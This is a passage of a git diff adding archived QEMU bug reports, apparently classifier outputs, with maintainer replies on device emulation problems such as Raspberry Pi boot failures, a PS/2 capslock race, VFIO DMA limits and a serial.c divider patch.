69 6f 6e 20 31 33 2e 31 36 2e 30 40 53 44 4b 34 |ion 13.16.0@SDK4| +00b51a50 2e 30 66 61 2e 31 33 2e 31 36 5f 32 30 31 36 31 |.0fa.13.16_20161| +00b51a60 30 31 39 28 67 63 63 20 76 65 72 73 69 6f 6e 20 |019(gcc version | +00b51a70 33 2e 34 2e 34 20 6d 69 70 73 73 64 65 2d 36 2e |3.4.4 mipssde-6.| +00b51a80 30 36 2e 30 31 2d 32 30 30 37 30 34 32 30 29 28 |06.01-20070420)(| +00b51a90 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 40 20 46 |Administrator@ F| +00b51aa0 72 69 2c 20 4a 75 6c 20 32 38 2c 20 32 30 31 37 |ri, Jul 28, 2017| +00b51ab0 20 31 32 3a 35 33 3a 32 38 20 41 4d 29 0a 00 00 | 12:53:28 AM)...| +00b51ac0 44 4d 58 5f 53 33 36 30 31 5f 30 00 00 a1 03 18 |DMX_S3601_0.....| + + +When I use readelf it says files isn't an ELF file, so i can't run it like a kernel (Bootloader,Maincode, and etc. ) + +so this is the cmd output when i use qemu Win64 (I don't whant to use linux to do the emulation about this *.abs extension firmware so please help me for win64 version from Qemu) + +CMD OUTPUT: + + C:\Program Files\qemu>qemu-system-mips.exe -machine mips -cpu mips32r6-generic -drive file=C:\30080.bin,index=0,media=disk,format=raw + +qemu-system-mips.exe: warning: could not load MIPS bios 'mips_bios.bin' + +I also tried a lot of diferents qemu-system... and a lot of diferent configs like -machine -cpu -kernel -driver root= -PFLASH and etc... and nothing hapenned + +How can i reproduce this issue ? +Reply:. + +Donwload *.abs firmware in amikoreceiver.com (only *.abs) and download AliDekompressor in http://www.satedu.cba.pl/ + +Direct tools: + +FirmwareDecrypter_v8.9.zip : + +http://www.satedu.cba.pl/index.php?action=downloadfile&filename=FirmwareDecrypter_v8.9.zip&directory=Test%20Folder& + +Ali__tools_Console_v4.0__CRC_FIXER.rar : + +http://www.satedu.cba.pl/index.php?action=downloadfile&filename=Ali__tools_Console_v4.0__CRC_FIXER.rar&directory=Test%20Folder& + + +so if Qemu can explain how can i fix this issue this can be highly helpfull. + +With my best regards, +David Martins +Screamfox + +As far as I understand the original description, this was about running an arbitrary firmware in QEMU that has been written for a board that we do not support in QEMU? This can not work. A machine consists of a CPU and various devices that are on board, so you can only run the software that has been written for the CPU and the corresponding devices. If I've got you right, you want to run some software for a board that we do not model in QEMU, so it just can't work since the required devices are not emulated. Thus I'm closing this as "Invalid" now ... unless I've misunderstood your description, then please complain and we can open the ticket again. + +Comment #1 from Thomas is correct, this MIPS machine is not modelled. + diff --git a/results/classifier/deepseek-1/output/device/1793635 b/results/classifier/deepseek-1/output/device/1793635 new file mode 100644 index 00000000..7e59d3ad --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1793635 @@ -0,0 +1,14 @@ + +Using pflash with u-boot,when CONFIG_SYS_FLASH_USE_BUFFER_WRITE were defined,envirment args won't be able to save correctly + +Generated a u-boot image with qemu_arm_defconfig,did some modification to qemu-arm.h. +Before added "CONFIG_SYS_FLASH_USE_BUFFER_WRITE",call saveenv in u-boot command line can save the envirment but painful slow. + +after added it,seems the action took no time,but the data won't be saved correctly,reset the board to boot again(i'd waited a while to reset the board) ,the u-boot will tell you enviremnt checksum mismatch,using the default. + +How did you run QEMU? Is this still an issue with the latest version? + +No update from the reporter after 5 months, so closing the bug. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1797262 b/results/classifier/deepseek-1/output/device/1797262 new file mode 100644 index 00000000..41880f29 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1797262 @@ -0,0 +1,42 @@ + +qemu arm no longer able to boot RPI Kernels + +Since RPi Kernel 1.20170427, qemu is no longer able to emulate the Rasberry Pi, as the linux kernel is complaining about timing issues. + +Old kernel output - https://pastebin.com/wvkneNNF +New kernel output - https://pastebin.com/QTwgCkV2 + +Note that the actual error is caused by the kernel being unable to get the timing source for the mmc (Line 160), which causes an unable-to-mount-root panic. There are other issues with the serial port returning an invalid speed, which displays a divide-by-zero error, which is PROBABLY a symptom of the same root cause. + +This is simple to replicate - The last working kernel is available here: + +https://github.com/raspberrypi/firmware/tree/1.20170405/boot + +Download kernel7 and the dtb, and try to boot with (for example) + +qemu-system-aarch64 -M raspi2 -kernel kernel7.img -dtb bcm2709-rpi-2-b.dtb -serial stdio -sd noobs.img -append "root=/dev/mmcblk0p2 init=/bin/bash" + +This works, and boots successfully. + +However, if you replace the kernel7.img and dtb with ones taken from https://github.com/raspberrypi/firmware/tree/1.20170427/boot it will NOT boot because of various clock timing issues (as in the second paste) + +Isn't this likely due to the newer kernel accessing hardware we are not emulating properly? + +On 19 October 2018 at 12:59, Alex Bennée <email address hidden> wrote: +> Isn't this likely due to the newer kernel accessing hardware we are not +> emulating properly? + +Yes, it will be the missing cprman emulation. There was another +bug/thread on this recently. + +thanks +-- PMM + + +latest series posted: +https://lists.gnu.org/archive/html/qemu-devel/2018-11/msg00191.html + +Should be now fixed by commits 74de7145fd6..83ad4695478 (CPRMAN model added). + +Released with QEMU v5.2.0. + diff --git a/results/classifier/deepseek-1/output/device/1799919 b/results/classifier/deepseek-1/output/device/1799919 new file mode 100644 index 00000000..eb7eb013 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1799919 @@ -0,0 +1,26 @@ + +IDE HDD emulation random read/write errors + +I unfortunately can’t give more tracks other than how to reproduce the bug, especially that the bug occurs randomly. + +Basically, I’m trying to install DOS 6.22 on an emulated ISA machine, and it fails, DOS complaining about read or write error on drive C. Repeating the operation multiple time, I see it occurs at random stage, sometime even before it partitions the drive, sometime when it formats the drive, sometime when it copies the files from the floppy to the drive. + +To test it, unpack the attached archive and execute `./run` from the extracted directory. The archive contains three raw floppy images for installing DOS 6.22, and a Bourne Shell script which invokes QEmu. Just press enter at any installation stage, the bug may occurs at any stage. + +I tried with `cache=none` to be sure it’s not a cache issue, but its the same whatever the cache policy is. + +Version and environment: using QEmu 3.0 on Ubuntu 16.04 on a 32 bits DELL Inspiron 9400 (not an emulation, that’s my real laptop). + +For why I’m using QEmu for this: the installation proceeds with not error in VirtualBox, but I wanted to use QEmu to have a serial mouse which is not available with QEmu and to have finer control over the machine configuration ; VirtualBox although good, is more limited in that regard. + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +I tried the repro case five times and each time it ran OK to the point of asking for floppy 2. So that suggests we probably fixed whatever it was... + + +Thanks, Peter! Looking at the bug description again and at the point in time when it happened, this was maybe a bug that we also saw with FreeDOS, caused by the CONFIG_ATA_DMA setting in Seabios, which had been fixed here: https://patchwork.kernel<email address hidden>/ +Anyway, let's mark this as fixed, if it happens again, then please re-open or file a new bug. + diff --git a/results/classifier/deepseek-1/output/device/1809075 b/results/classifier/deepseek-1/output/device/1809075 new file mode 100644 index 00000000..ca523232 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1809075 @@ -0,0 +1,82 @@ + +Concurrency bug on keyboard events: capslock LED messing up keycode streams causes character misses at guest kernel + +Whenever capslock is pressed on host, both capslock keycode(0x3a 0xba) and capslock LED keycode(0xfa 0xfa) would be sent to the ps2 keycode stream. + +However, capslock LED is handled by another thread, confirmed by tracing `ps2_write_keyboard` with gdb. The keycode of casplock LED might divide + +For example, I sent AaBb but got ABa. I was using vncdotool, so it equals sending `capslock a capslock a capslock b capslock b`. In ps2_queue, I was expecting `3a fa fa ba 1e 9e 3a fa fa ba 1e 9e 3a fa fa ba 30 b0 3a fa fa ba 30 b0`. But actually once in a while, it might not receive such streams. In one case I got `3a fa fa ba 1e 9e 3a ba 1e fa fa 9e 3a ba 30 b0 3a ba 30 b0 fa fa` + +In this specific example, `a` was lost because LED keycode 'jumps in' its keycode. Kernel event device receives below streams +``` +# /dev/input/event receives what is sent from ps2_queue +# I use cap_1 to show capslock key down +cap_1 led caps_0, # 0x3a 0xfa 0xfa 0xba +a_1 a_0 # 0x1e 0x9e +caps_1 caps_0 # 0x3a 0xba +led # 0x1e 0xfa 0xfa 0x1e (we lost `a` here) +caps_1 caps_0 # 0x3a 0xba +b_1 led b_0 # 0x30 0xfa 0xfa 0xb0 +caps_1 caps_0 # 0x3a 0xba +led b_1 b_0 # 0xfa 0xfa 0x30 0xb0 +``` + +I made sure kernel receives the correct key stream as the qemu ps2_queue sends using /proc, ftrace and dynamic_debug. I explained the details in this [post](https://medium.com/@alapha23/quick-peek-into-kernel-land-keyboard-events-handling-with-ftrace-and-dynamic-debug-24a790056d5a) + +So it seems to be a concurrency issue. + +A hacky path on my mind is to skip all `0xfa` in ps2_queue. But I'm not sure if capslock LED is the only stink bug to our ps2 keycode queue as I've seen other keycodes handled by `ps2_write_keyboard` sent to ps2 queue. + +Another solution might be a memory barrier or a lock. Making key down and key up atomic will prevent another thread modifying the ps2 queue unwantedly. + +What do you think? + +### Reproduce steps + +Add `fprintf(stderr, "ps2_queue 0x%x\n", b);` to `hw/input/ps2.c` and re-build qemu. + +- qemu-system-x86_64 -hda <your img> --enable-kvm -m <> -display vnc=:1 +- vncviewer -Shared :5901 + +In guest os, find the keyboard device(very likely to be /dev/input/event0) +``` +sudo evtest /dev/input/event0 +``` + +On host OS +- vncdotool -s 127.0.0.1::5901 type AaBb +Finally, +- record what evtest has received and compared with expected key streams. + +Around once out of five times, we can find keycode lost due to capslock LED. + +Please do not rely on graphics mode output as there are also key loss bugs when wayland internals deal with kernel keyboard events. + +A simply note on some conversion between keycode and keys. Hopefully it would come in handy in debugging: +a 0x1e 0x9e +b 0x30 0xb0 +c 0x2e 0xae +d 0x20 0xa0 +capslock 0x3a 0xba +capslock LED 0xfa 0xfa +ret 0x1c 0x9c +leftshift 0x2a 0xaa + +There is no "capslock LED key event". 0xfa is KBD_REPLY_ACK, and the +device queues it in response to guest port writes. Yes, the ack can +race with actual key events. But IMO that isn't a bug in qemu. + +Probably the linux kernel just throws away everything until it got the +ack for the port write, and that way the key event gets lost. On +physical hardware you will not notice because it is next to impossible +to type fast enough to hit the race window. + +So, go fix the kernel. + +Alternatively fix vncdotool to send uppercase letters properly with +shift key pressed. Then qemu wouldn't generate capslock key events +(that happens because qemu thinks guest and host capslock state is out +of sync) and the guests's capslock led update request wouldn't get into +the way. + + diff --git a/results/classifier/deepseek-1/output/device/1848231 b/results/classifier/deepseek-1/output/device/1848231 new file mode 100644 index 00000000..d47bfeff --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1848231 @@ -0,0 +1,29 @@ + +serial/parallel character devices created for the none-machine + +The none-machine can not be started unless using "-serial null": + +qemu-system-x86_64 -machine none -nographic -monitor stdio +QEMU 3.1.1 monitor - type 'help' for more information +(qemu) qemu-system-x86_64: cannot use stdio by multiple character devices +qemu-system-x86_64: could not connect serial device to character backend 'stdio' +$ + +$ qemu-system-mips -machine none -nographic -serial null -monitor stdio +QEMU 4.1.50 monitor - type 'help' for more information +(qemu) info chardev +parallel0: filename=null +compat_monitor0: filename=stdio +serial0: filename=null +(qemu) + +You can start 'none' without "-serial null". Examples: + +qemu-system-x86_64 -machine none +qemu-system-x86_64 -machine none -monitor stdio +qemu-system-x86_64 -machine none -nographic +qemu-system-x86_64 -machine none -monitor stdio -display none + +Your command line "qemu-system-x86_64 -machine none -nographic -monitor stdio" fails because "-nographic" says "please create a serial port using stdio" but "-monitor stdio" tries to use stdio for something else. You get the same message for any machine (eg "pc"), not just "none". If what you wanted was "just don't create the graphical display" that's "-display none" -- "-nographic" is a collection of things including both 'no display' and also 'default to creating a serial device to stdio' and 'default to creating a monitor muxed with that serial'. + + diff --git a/results/classifier/deepseek-1/output/device/1851664 b/results/classifier/deepseek-1/output/device/1851664 new file mode 100644 index 00000000..b127a3c6 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1851664 @@ -0,0 +1,38 @@ + +qemu-system-x86_64: "VFIO_MAP_DMA : -28" error when we attache 6 VF's to guest machine + +We are trying to attach 6 VF's to the guest machine on 4.1.1 qemu emulator. +We are observing "VFIO_MAP_DMA : -28" error. + +We are using w-bits=48 bits while lunching VM. + +Please provide information how you started QEMU, and some information about your PCI device (e.g. the output of lspci). + +qemu-system-x86_64 -name guest=fedora24 -machine q35,accel=kvm,kernel-irqchip=split \ + -enable-kvm \ + -m 4G \ + -smp 8,sockets=1,cores=8,threads=1 \ + -device intel-iommu,intremap=on,caching-mode=on,aw-bits=48 \ + -drive file=<OS_IMAGE_FILE>,format=raw \ + -device ioh3420,id=pcie.1,chassis=1 \ + -device virtio-net-pci,bus=pcie.1,disable-legacy=on,disable-modern=off,iommu_platform=on,ats=on,netdev=net0 \ + -netdev user,id=net0,hostfwd=tcp::1111-:22\ + -device vfio-pci,host=3f:02.1 \ + -device vfio-pci,host=3f:02.2 \ + -device vfio-pci,host=3f:02.3 \ + -device vfio-pci,host=3f:02.4 \ + -device vfio-pci,host=3d:02.4 \ + -device vfio-pci,host=3d:02.5 \ + -device vfio-pci,host=3d:02.6 \ + -nographic + +Please find the above qemu command to lunch guest machine + +Presumably w-bits (aw-bits?) implies using intel-iommu, there's a opportunity for the vfio iommu backend to return -ENOSPC (-28) if we exceed the default number of in-flight DMA mappings per container. The default limit is 65535. You can try increasing this by changing the dma_entry_limit module option on the vfio_iommu_type1 module. Note that in a typical vIOMMU config there's a container per device, so the number of VFs attached is possibly not a factor. It is however a lot of DMA mappings for a single device if this is the issue and you'd generally want to boot the guest with iommu=pt in order to have reasonable assigned device performance with a vIOMMU, which would also greatly reduce the number of mappings. + +After increasing dma_entry_limit limit no issue observed. + +But ideal senario device is getting hung and recovery happening only with host hard rebooting. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1859418 b/results/classifier/deepseek-1/output/device/1859418 new file mode 100644 index 00000000..358a2733 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1859418 @@ -0,0 +1,42 @@ + +disk driver with iothread setting hangs live migrations + +Per report raised at https://bugzilla.redhat.com/show_bug.cgi?id=1790093 + +Description of problem: + +A disk driver definition using iothread parameter causes live migration with copy storage to hang during or just before the final ram sync stage. + +Interestingly, having the scsi controller as a separate iothread does not trigger the issue. + +Version-Release number of selected component (if applicable): + +I can reproduce this on centos7 with qemu-ev and with centos 8: + +qemu-kvm-ev-2.12.0-33.1.el7_7.4.x86_64 +qemu-kvm-2.12.0-65.module_el8.0.0+189+f9babebb.5.x86_64 + +Steps to Reproduce: +1. Create a definition with 1 iothread on the disk image: + + <driver name='qemu' type='qcow2' iothread='1' /> + +2. Issue a live migrate request like: virsh migrate --live --copy-storage-all vm qemu+tcp://remote/system +3. Live migrate on source copies storage and then hangs at 80-99%, I guess during the ram copy phase. + +Keeping exactly the same config but without the iothread on the disk driver has successful migrations every time. + +Initially I suspected that https://lists.gnu.org/archive/html/qemu-devel/2020-01/msg03048.html may have addressed this issue, but I think because you're not using backup it might not. + +...Oh, qemu 2.12 is *quite old* and not supported upstream anymore. Do you have the ability to test on a more modern QEMU version? + +If not, I might need to redirect you back to the RH Bugzilla for issues with the stable version they ship for RH/CentOS. I don't want to play bug tracker pingpong with you, so I'll leave this issue open (but marked "incomplete") and wait for a reply. + +--js + +I will try the newest version as you suggest. However please note that this is a redhat/centos 2.12 version which means it has a load of the newest patches on it so probably closer to a 4-series than real 2.12... + +Mark + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1861394 b/results/classifier/deepseek-1/output/device/1861394 new file mode 100644 index 00000000..6a57242c --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1861394 @@ -0,0 +1,31 @@ + +qemu-system-riscv64 hangs after poweroff linux command + +QEMU Version : v4.2.0-773-g43d1455-dirty (commit 43d1455cf84283466e5c22a217db5ef4b8197b14) + +Command: qemu-system-riscv64 -machine virt -kernel ./bbl -nographic -initrd rootfs.cpio.gz -append "root=/dev/ram console=ttyS0" + +Host:LSB Version: :core-4.1-amd64:core-4.1-noarch +Distributor ID: CentOS +Description: CentOS Linux release 7.7.1908 (Core) +Release: 7.7.1908 +Codename: Core + + +Problem: after boot, when type poweroff -f it hangs (not quitting). I have tested this for x86_64, and aarch64 and it works fine. The problem appears only for risv64(of those mentioned). Last time i have checked it worked also for riscv64 and it was on the d0f90e1423b4f412adc620eee93e8bfef8af4117 commit + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1888417 b/results/classifier/deepseek-1/output/device/1888417 new file mode 100644 index 00000000..6bafebc0 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1888417 @@ -0,0 +1,38 @@ + +Latest QEMU git build on Arch linux causes PCI Passthrough host to hang on guest reboot. + +Current Arch linux release, up-to-date as of 7/21/2020. + +Running a windows 7 virtual machine (also happens with windows 10, possibly more OSes), with an nvidia GTX 1060 passthrough, if the VM is attempted to be restarted, either through the guest interface, or by libvirt's gui interface "Virtual Machine Manager", it hangs in a "paused" state once the VM shutsdown, and just before the reboot can take place. A force-stop of the VM allows the VM to be properly booted without any disk error checks, alluding to a clean shutdown, but failed reboot. The VM can be properly shutdown using the guests shutdown function, or the libvirt manager shutdown, without any hangs. Reverting to Arch stable build QEMU 5.0.0-7 fixes the issue. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" within the next 60 days (otherwise it will get +closed as "Expired"). We will then eventually migrate the ticket auto- +matically to the new system (but you won't be the reporter of the bug +in the new system and thus won't get notified on changes anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1888663 b/results/classifier/deepseek-1/output/device/1888663 new file mode 100644 index 00000000..142cf724 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1888663 @@ -0,0 +1,25 @@ + +msmouse not recognized in guest + +The msmouse option for emulating a serial mouse does not seem to work in a DOS guest. + +I'm on Windows 10 X64, I have tried launching qemu (commit d0cc248164961a7ba9d43806feffd76f9f6d7f41 but also way older) with: +./qemu-system-i386 -serial msmouse -fda mousetest.img +./qemu-system-i386 -chardev msmouse,id=msmouse -device isa-serial,chardev=msmouse -fda mousetest.img +./qemu-system-i386 -chardev msmouse,id=msmouse -device pci-serial,chardev=msmouse -chardev msmouse,id=msmouse -fda mousetest.img + +Then I boot FreeDOS (but regular DOS shows same behavior), start the CuteMouse driver and force the scan of a serial mouse with CTM /S. +The mouse is never found. With other drivers (in the attachment), the mouse is probably not found but the driver is installed anyway, but it does not work (there's a MOUSETST in the same floppy; it works iwth CTM and PS/2 mouse emulation). + +Using a serial port sniffer inside the guest, it would seem that data is indeed transmitted. Setting a few printf in msmouse.c also confirms that the mouse gets initilized and starts transmitting data. However, it does not work... + + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/77 + + diff --git a/results/classifier/deepseek-1/output/device/1895602 b/results/classifier/deepseek-1/output/device/1895602 new file mode 100644 index 00000000..dd335a55 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1895602 @@ -0,0 +1,45 @@ + +older OS's do not detect CD change + +There are at least two older operating systems, being FreeBSD 2.2 and FreeDOS 1.2, that misbehave when the change command is used on the IDE CD drive, and work fine on a real machine. In both cases, changing the CD causes the guest to either refuse to read the disc or appear to read bad data, and in both cases the guest read the disc without issue after a system_reset. + +A HD image that demonstrates this behavior can be produced if necessary, however the FreeDOS 1.2 CD can be booted directly and used to test: + +http://freedos.org/download/download/FD12CD.iso + +(choose install then abort and you get a prompt in which you can type "dir D:", say) + +note, running eject before the change command does nothing to help. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1900919 b/results/classifier/deepseek-1/output/device/1900919 new file mode 100644 index 00000000..d3afc265 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1900919 @@ -0,0 +1,48 @@ + +PXB selected as root bus incorrectly + +release: 4c41341af76cfc85b5a6c0f87de4838672ab9f89 + +qdev_device_add() will search for the "closest" bus possible, and bail out early if that bus is a root bus. pxb devices are considered root buses and so if you either +1. Add a PCI device on the QEMU command line *after* a pxb device, or +2. Add an integrated PCI device (like a watchdog) + +#1: -device pxb-pcie,id=cxl.0,bus=pcie.0,bus_nr=52 -device ahci,id=sata0,addr=0x8 +#2: -watchdog i6300esb -device pxb-pcie,id=cxl.0,bus=pcie.0,bus_nr=52 + +The PXB will get selected as the bus (instead of the real root bus) and this will cause an assertion failure with the message like "qemu-system-x86_64: -device ahci,id=sata0,addr=0x8: PCI: Only PCI/PCIe bridges can be plugged into pxb-pcie" + +I think this is relatively solvable in the code base by determining if a bus is an expander, and skipping it if so. However, I wonder if it makes more sense to just allow expanders to have endpoint devices. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1904331 b/results/classifier/deepseek-1/output/device/1904331 new file mode 100644 index 00000000..b514a512 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1904331 @@ -0,0 +1,101 @@ + +Coding bug in the function serial_ioport_write in serial.c + +Branch hash: b50ea0d (pulled from github). + +I was reviewing the code and noticed the following in the function serial_ioport_write: + + assert(size == 1 && addr < 8); + . + . + . + switch(addr) { + default: + case 0: + if (s->lcf & UART_LCR_DLAB) { + if (size == 1) { + s->divider = (s->divider & 0xff00) | val; + } else { + s->divider = val; + } + } + +The assert will trigger if the size is > 1, so the else of the if (size == 1) will never be executed and an attempt to specify a size > 1 will trigger an assert. + +The documentation for the UART indicates that the 16-bit divisor is broken up amongst 2 8-bit registers (DLL and DLM). There already is code to handle the DLL and DLM portions of the divider register (as coded). + +This is not exactly going to cause a bug, as there is no code that calls this function with a value for size other than 1. It is just unnecessary code. + +Since commit 5ec3a23e6c8 ("serial: convert PIO to new memory +api read/write") we don't need to worry about accesses bigger +than 8-bit. Use the extract()/deposit() functions to access +the correct part of the 16-bit 'divider' register. + +Reported-by: Jonathan D. Belanger <email address hidden> +Buglink: https://bugs.launchpad.net/qemu/+bug/1904331 +Signed-off-by: Philippe Mathieu-Daudé <email address hidden> +--- +Cc: Bug 1904331 <email address hidden> +--- + hw/char/serial.c | 13 +++++-------- + 1 file changed, 5 insertions(+), 8 deletions(-) + +diff --git a/hw/char/serial.c b/hw/char/serial.c +index 97f71879ff2..62c627f486f 100644 +--- a/hw/char/serial.c ++++ b/hw/char/serial.c +@@ -24,6 +24,7 @@ + */ + + #include "qemu/osdep.h" ++#include "qemu/bitops.h" + #include "hw/char/serial.h" + #include "hw/irq.h" + #include "migration/vmstate.h" +@@ -338,11 +339,7 @@ static void serial_ioport_write(void *opaque, hwaddr addr, uint64_t val, + default: + case 0: + if (s->lcr & UART_LCR_DLAB) { +- if (size == 1) { +- s->divider = (s->divider & 0xff00) | val; +- } else { +- s->divider = val; +- } ++ s->divider = deposit32(s->divider, 8 * addr, 8, val); + serial_update_parameters(s); + } else { + s->thr = (uint8_t) val; +@@ -364,7 +361,7 @@ static void serial_ioport_write(void *opaque, hwaddr addr, uint64_t val, + break; + case 1: + if (s->lcr & UART_LCR_DLAB) { +- s->divider = (s->divider & 0x00ff) | (val << 8); ++ s->divider = deposit32(s->divider, 8 * addr, 8, val); + serial_update_parameters(s); + } else { + uint8_t changed = (s->ier ^ val) & 0x0f; +@@ -478,7 +475,7 @@ static uint64_t serial_ioport_read(void *opaque, hwaddr addr, unsigned size) + default: + case 0: + if (s->lcr & UART_LCR_DLAB) { +- ret = s->divider & 0xff; ++ ret = extract16(s->divider, 8 * addr, 8); + } else { + if(s->fcr & UART_FCR_FE) { + ret = fifo8_is_empty(&s->recv_fifo) ? +@@ -502,7 +499,7 @@ static uint64_t serial_ioport_read(void *opaque, hwaddr addr, unsigned size) + break; + case 1: + if (s->lcr & UART_LCR_DLAB) { +- ret = (s->divider >> 8) & 0xff; ++ ret = extract16(s->divider, 8 * addr, 8); + } else { + ret = s->ier; + } +-- +2.26.2 + + + +https://gitlab.com/qemu-project/qemu/-/commit/29daa894b6c31eae074d + diff --git a/results/classifier/deepseek-1/output/device/1907776 b/results/classifier/deepseek-1/output/device/1907776 new file mode 100644 index 00000000..92b1e796 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1907776 @@ -0,0 +1,59 @@ + +Mounting VFat drive yields error messages. + +Mounting a virtual Fat drive results in error messages (see attached image). + +* https://www.qemu.org/docs/master/system/images.html#virtual-fat-disk-images + +The "drive" is however mounted, and as a test, saving a text file to the drive is successfully stored in the directory `/tmp`, which can be read after shutdown of Qemu. + + Archlinux 5.9.11-arch2-1 (64-bit) + qemu-headless 5.1.0-3 + + qemu-system-x86_64 -boot order=d -name test \ + -enable-kvm -m 2G -cpu host -k sv \ + -daemonize \ + -drive if=pflash,format=raw,readonly,file=/usr/share/edk2-ovmf/x64/OVMF_CODE.fd \ + -drive if=pflash,format=raw,file=~/vm/OVMF_VARS.local.fd \ + -drive if=ide,format=raw,media=disk,index=1,file=fat:rw:/tmp \ + -vnc :1 \ + -cdrom /obj/archlinux/release/2020.10.01-x86_64.iso \ + -drive format=raw,index=0,media=disk,file=~/vm/qemu.raw + + + +I have just noticed that the error does not appear when mounting the VFat drive in the installed instance of Arch Linux. The reported error messages occurred when using the "LiveUSB". + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1912846 b/results/classifier/deepseek-1/output/device/1912846 new file mode 100644 index 00000000..d23ba745 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1912846 @@ -0,0 +1,22 @@ + +Assertion hit on hot-unplugging virtio iommu enabled device + +From commit ("2d24a646 device-core: use RCU for +list of children of a bus") an assertion is hit when +removing a device, since mr->listeners are not properly +removed. To reproduce: + +/home/qemu/build/x86_64-softmmu/qemu-system-x86_64 -qmp tcp:0:4444,server,nowait ... \ + -netdev tap,id=hostnet0,vhostforce=on,vhost=on \ + -device 